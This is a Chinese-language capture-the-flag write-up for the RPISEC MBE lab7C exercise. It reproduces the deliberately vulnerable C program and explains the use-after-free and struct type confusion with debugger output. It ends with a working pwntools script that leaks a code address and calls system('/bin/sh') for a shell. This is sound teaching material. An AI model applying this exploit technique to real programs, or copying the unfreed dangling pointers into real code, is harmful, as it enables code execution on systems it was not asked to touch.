RPISEC/MBE: writeup lab7C 堆漏洞(UAF)

TOC

  1. 1. 分析
  2. 2. 漏洞
  3. 3. 利用

分析

utils.h

/*
* Tools for anti-debug/disasm
*/

/* throws off esp analysis to thwart hexrays */
#define deathrays \
__asm__ volatile("push %eax \n"\
"xor %eax, %eax\n"\
"jz .+5 \n"\
".word 0xC483 \n"\
".byte 0x04 \n"\
"pop %eax \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
for (; *_argv; ++_argv) { \
memset(*_argv, 0, strlen(*_argv)); \
}
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
char x = 0;
while(1)
{
x = getchar();
if(x == '\n' || x == EOF)
break;
}
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
unsigned int res = 0;
fflush(stdout);
scanf("%u", &res);
clear_stdin();
return res;
}

void prog_timeout(int sig)
{
asm("mov $1, %eax;"
"mov $1, %ebx;"
"int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
__attribute__ ((constructor)) void enable_timeout_cons() \
{ \
signal(SIGALRM, prog_timeout); \
alarm(_time); \
}

lab7C.c

/* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "./utils.h"

#define MAX_STR 6
#define MAX_NUM 6

struct data {
char reserved[8];
char buffer[20];
void (* print)(char *);
};

struct number {
unsigned int reserved[6]; // implement later
void (* print)(unsigned int);
unsigned int num;
};

void small_str(char * a_str)
{
printf("here's your lame string: %s\n", a_str);
}

void big_str(char * a_str)
{
printf("nice big str yo: %s\n", a_str);
}

void small_num(unsigned int a_num)
{
printf("not 1337 enough: %u\n", a_num);
}

void big_num(unsigned int a_num)
{
printf("tite number dawg: %u\n", a_num);
}

void print_menu()
{
printf("-- UAF Playground Menu ----------------------\n"
"1. Make a string\n"
"2. Make a number\n"
"3. Delete a string\n"
"4. Delete a number\n"
"5. Print a string\n"
"6. Print a number\n"
"7. Quit\n"
"---------------------------------------------\n"
"Enter Choice: ");
}

/* bugs galore... but no memory corruption! */
int main(int argc, char * argv[])
{
struct data * strings[MAX_STR] = {0};
struct number * numbers[MAX_NUM] = {0};
struct data * tempstr = NULL;
struct number * tempnum = NULL;

int strcnt = 0;
int numcnt = 0;
unsigned int choice = 0;
unsigned int index = 0;

while(1)
{
print_menu();

/* get menu option */
if((choice = get_unum()) == EOF)
break;

/* make a string */
if(choice == 1)
{
if(strcnt < MAX_STR)
{
tempstr = malloc(sizeof(struct data));

/* no memory corruption this time */
printf("Input string to store: ");
fgets(tempstr->buffer, 20, stdin);
tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;

/* pick a print function */
tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;

/* store the string to our master list */
strings[++strcnt] = tempstr;
printf("Created new string!\n");
}
else
printf("Please delete a string before trying to make another!\n");
}

/* make a number */
else if(choice == 2)
{
if(numcnt < MAX_NUM)
{
tempnum = malloc(sizeof(struct number));

printf("Input number to store: ");
tempnum->num = get_unum();

/* pick a print function */
tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;

/* store the number to our master list */
numbers[++numcnt] = tempnum;
printf("Created new number!\n");
}
else
printf("Please delete a number before trying to make another!\n");
}

/* delete a string */
else if(choice == 3)
{
if(strcnt && strings[strcnt])
{
free(strings[strcnt--]);
printf("Deleted most recent string!\n");
}
else
printf("There are no strings left to delete!\n");
}

/* delete a number */
else if(choice == 4)
{
if(numcnt && numbers[numcnt])
{
free(numbers[numcnt--]);
printf("Deleted most recent number!\n");
}
else
printf("There are no numbers left to delete!\n");
}

/* print a string */
else if(choice == 5)
{
printf("String index to print: ");
index = get_unum();

if(index < MAX_STR && strings[index])
strings[index]->print(strings[index]->buffer);
else
printf("There is no string to print!\n");
}

/* print a number */
else if(choice == 6)
{
printf("Number index to print: ");
index = get_unum();

if(index < MAX_NUM && numbers[index])
numbers[index]->print(numbers[index]->num);
else
printf("There is no number to print!\n");
}

/* quit */
else if(choice == 7)
break;

/* base case */
else
printf("Invalid choice!\n");

index = 0;
choice = 0;
printf("\n");
}

// printf("See you tomorrow!\n");
// 这里需要system的plt入口
system("echo \"See you tomorrow!\"");
return EXIT_SUCCESS;
}

站长已经编译好了,为了迎合要求,站长在32位的Ubuntu14.04上编译的,点击下载lab7C

Writeup 并非原创,改编于https://devel0pment.de/?p=386,并做了简单的翻译。

漏洞

程序中两个struct实例( date 和 number )的内存都是使用malloc(第83行和106行)分配的。malloc返回一个指向新分配的内存的指针,该内存用来储存字符串/数字(第94和115行)。删除字符串或数字时,使用free释放以前分配的内存(第127行和139行)。传递给free的惟一参数是一个指向以前分配的内存区域的指针。free释放该内存区域,以便后续使用malloc函数再次使用该内存。需要注意的一个重要方面是free不会改变传递的指针!这意味着指针仍然指向当前已释放的内存区域。这样的指针称为悬空指针。后续再使用malloc的时候,指针所引用的内存区域将再次被分配,但可能与以前的对象(或结构体)不同。如果悬空指针现在用于读取或修改引用的对象(或结构体),那么在分配的内存中可能实际上存在另一种类型的对象(原先的悬空指针引起的),从而导致意外行为。因为这里悬空指针被用于读取或修改在free后又被malloc的对象(或结构体),所以该漏洞被称为UAF(Use After Free)。

如果调用free之后将数组字符串/数字结构体指针设置为NULL,则可以很容易地修复此类型的漏洞。但是该程序并没有这样做,所以我们可以打印一个已经被删除的对象(或结构体)。

ex@Ex:~/test$ ./lab7C 
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
here's your lame string: AAAA

这还不是最糟糕的,当我们在删除字符串后创建一个新数字,然后尝试打印该被删除的字符串时,情况将变得更糟:

ex@Ex:~/test$ ./lab7C 
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 2
Input number to store: 1337
Created new number!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
Segmentation fault (core dumped)
Program received signal SIGSEGV, Segmentation fault.
0x00000539 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x539
EBX 0x56557f98 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2ea0
ECX 0x1
EDX 0x56559988 ◂— 'AAAA'
EDI 0x0
ESI 0x18
EBP 0xffffcdf8 ◂— 0x0
ESP 0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp 0x56555ecb
EIP 0x539
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x539










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp 0x56555ecb
01:0004│ 0xffffcd70 —▸ 0x56559988 ◂— 'AAAA'
02:0008│ 0xffffcd74 —▸ 0x56556127 ◂— or al, byte ptr [eax] /* '\n' */
03:000c│ 0xffffcd78 —▸ 0xf7faf5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
04:0010│ 0xffffcd7c ◂— 0xc2
05:0014│ 0xffffcd80 ◂— 0x0
06:0018│ 0xffffcd84 ◂— 0xc30000
07:001c│ 0xffffcd88 —▸ 0xffffce94 —▸ 0xffffd08e ◂— '/home/ex/test/glab7C'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 539
f 1 56555e41 main+812
f 2 f7defe81 __libc_start_main+241
Program received signal SIGSEGV (fault address 0x539)
pwndbg> backtrace
#0 0x00000539 in ?? ()
#1 0x56555e41 in main (argc=1, argv=0xffffce94) at main.c:153
#2 0xf7defe81 in __libc_start_main (main=0x56555b15 <main>, argc=1, argv=0xffffce94, init=0x56555f20 <__libc_csu_init>, fini=0x56555f90 <__libc_csu_fini>, rtld_fini=0xf7fe59b0 <_dl_fini>, stack_end=0xffffce8c) at ../csu/libc-start.c:310
#3 0x56555771 in _start ()
pwndbg>

用 gdb 调试debug版本的程序后,就发现了该漏洞,我们输入的数字1337就是0x539,这正好是因为两个结构体用了同一内存块的结果,而且struct number的储存num值的偏移,刚好是struct data 储存print函数指针的偏移。这里原文做了更详细的描述,看不懂的可以看原文。

利用

二进制文件是使用参数 -pie -fPIE 编译的,这意味着在运行时我们不知道二进制文件的任何地址。如果我们可以利用这个漏洞泄漏一个内存地址,我们可以使用这个地址来计算出我们想调用的函数的地址。

总结一下,我们必须:

  1. 泄漏small_str函数地址,以便计算出我们想要的system函数地址
  2. 拿shell

泄露内存地址

我们基本上只有两种可能来使用我们发现的UAF漏洞:

结构体中的函数指针是必不可少的。number结构体 的 print成员函数 打印一个无符号整数,调用该函数需要传递成员变量num:

numbers[index]->print(numbers[index]->num);

当我们并排观察两个结构体时,我们可以看到结构体中的num与结构体数据中的print位于相同的偏移量,所以我们可以先malloc一个number结构体,此时它的print 函数指针指向的是small_num,然后在直接删除该结构体,并创建一个data结构体,这时候我们输入”/bin/sh”,以后会用到的。

pwndbg> p *strings[1]
$8 = {
reserved = "\000\000\000\000\000\000\000",
buffer = "/bin/sh\000\000\000\000\000\000\000\000\000\065ZUV",
print = 0x56555997 <small_str>
}
pwndbg> p *numbers[1]
$9 = {
reserved = {0, 0, 1852400175, 6845231, 0, 0},
print = 0x56555a35 <small_num>,
num = 1448434071
}
pwndbg> x/32bx strings[1]
0x56559980: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x56559988: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x56559990: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x56559998: 0x35 0x5a 0x55 0x56 0x97 0x59 0x55 0x56
pwndbg> x/32bx numbers[1]
0x56559980: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x56559988: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x56559990: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x56559998: 0x35 0x5a 0x55 0x56 0x97 0x59 0x55 0x56

然后就可以使用 number结构体中的small_num成员函数指针来打印出函数small_str的地址。

---------------------------------------------
Enter Choice: 6
Number index to print: 1
not 1337 enough: 1448434071

原文这里是直接用 small_str 的值来计算 libc_system 函数的地址,但是现在的程序加载的地址和libc加载的地址的距离并不是固定的值了(从原本的意思看,以前应该是的),所以这里站长对程序做了如下更改,使得可以直接用system_plt的入口调用system函数:

// printf("See you tomorrow!\n");
// 这里需要system的plt入口
system("echo \"See you tomorrow!\"");
pwndbg> p small_str 
$1 = {<text variable,="" no="" debug="" info="">} 0x9c7 <small_str>
pwndbg> p system
$2 = {<text variable,="" no="" debug="" info="">} 0x710 <system@plt>
pwndbg> p small_str - system
$3 = 695

之后一切就很简单了,直接上脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


# context.log_level="debug"
# context.terminal=['deepin-terminal','-x','sh','-c']
p = process("./lab7C")
# p= remote('ub14.ex',100)

# *******************************************************
# 第一步: 泄露内存地址

p.recvuntil("Enter Choice: ")
p.sendline("2") # 2. Make a number
p.sendline("1337") # --> 1337
p.recvuntil("Enter Choice: ")
p.sendline("4") # 4. Delete a number
p.recvuntil("Enter Choice: ")
p.sendline("1") # 1. Make a string
p.sendline("/bin/sh") # --> "/bin/sh"
p.recvuntil("Enter Choice: ")
p.sendline("6") # 6. Print a number
p.sendline("1") # --> index = 1

# --> 输出 small_str 的地址
ret = p.recvuntil("Enter Choice: ")
addr_small_str = int(ret[ret.index("enough: ")+8:ret.index("\n")], 10)
log.info("addr_small_str: " + hex(addr_small_str))
system_plt_addr = addr_small_str - 695


# --> 计算 system_plt 的地址
log.info("system_plt_addr: "+hex(system_plt_addr))


# *******************************************************
# 第二步: call system("/bin/sh")

p.sendline("3") # 3. Delete a string
p.recvuntil("Enter Choice: ")
p.sendline("2") # 2. Make a number
p.sendline(str(system_plt_addr)) # --> address of system
p.recvuntil("Enter Choice: ")
p.sendline("5") # 5. Print a string
# gdb.attach(proc.pidof(p)[0],'c')
p.sendline("1") # --> index = 1
p.recv(100)


p.interactive()